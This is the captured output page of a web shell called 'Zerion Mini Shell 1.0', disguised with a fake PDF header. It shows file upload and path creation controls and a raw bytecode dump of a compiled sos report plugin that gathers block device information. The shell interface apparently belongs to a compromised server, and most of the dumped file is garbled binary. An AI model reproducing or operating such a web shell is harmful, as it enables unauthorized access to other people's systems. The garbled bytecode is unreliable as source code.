%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/block.cpython-312.pyc

�

i��d[	��,�ddlmZmZGd�dee�Zy)�)�Plugin�IndependentPluginc�&�eZdZdZdZdZdZdZd�Zy)�BlockzBlock device information�block)�storage�hardware)z
util-linux)z
/sys/blockc�F�|jd�|jddi�|jdd��|jdd��|jd	d	��|jd
d��|jgd��|jgd
��gd�}|j	|dd��|j	dddd��|jd�}|ddk(rE|dj
�D].}d|vs�|j�d}|jd|z��0yy)Nz/sys/block/*/queue/ioschedz/sys/block/.*/queue/scheduler�	schedulerzblkid -c /dev/null�blkid)�tagsz
ls -lanR /dev�ls_dev�lsblkzlsblk -O -P�lsblk_pairs)zlsblk -tzlsblk -Dzblockdev --reportzls -lanR /sys/blockz
losetup -a)	z/etc/blkid.tabz/run/blkid/blkid.tabz/proc/partitionsz/proc/diskstatsz/sys/block/*/queue/z/sys/block/sd*/device/timeoutz/sys/block/hd*/device/timeoutz/sys/block/sd*/device/statez/sys/block/loop*/loop/)zparted -s %(dev)s unit s printzudevadm info %(dev)szudevadm info -a %(dev)srzram.*)�devices�	blacklistzfdisk -l %(dev)s�fdisk_l_sos)rrr
zlsblk -f -a -l�statusr�output�crypto_LUKSzcryptsetup luksDump /dev/%s)�add_forbidden_path�
add_file_tags�add_cmd_output�
add_copy_spec�add_device_cmd�collect_cmd_output�
splitlines�split)�self�cmdsr�line�devs     �:/usr/lib/python3/dist-packages/sos/report/plugins/block.py�setupzBlock.setupsI����� <�=����+�[�
�	�	
���0�w��?����O�(��;����G�'��2����M�
��>����
�	�	
���

�
	�
��
	
���D�'�W��E����.�'�$+�-�	�	A��'�'�(8�9����?�a���h��2�2�4�
M�� �D�(��*�*�,�q�/�C��'�'�(E��(K�L�
M� �N)	�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�verify_packages�filesr$�r%r#rrs!��+�J��K�&�H�%�O��E�/Mr%rN)�sos.report.pluginsrrrr.r%r#�<module>r0s��9�8M�F�%�8Mr%

Zerion Mini Shell 1.0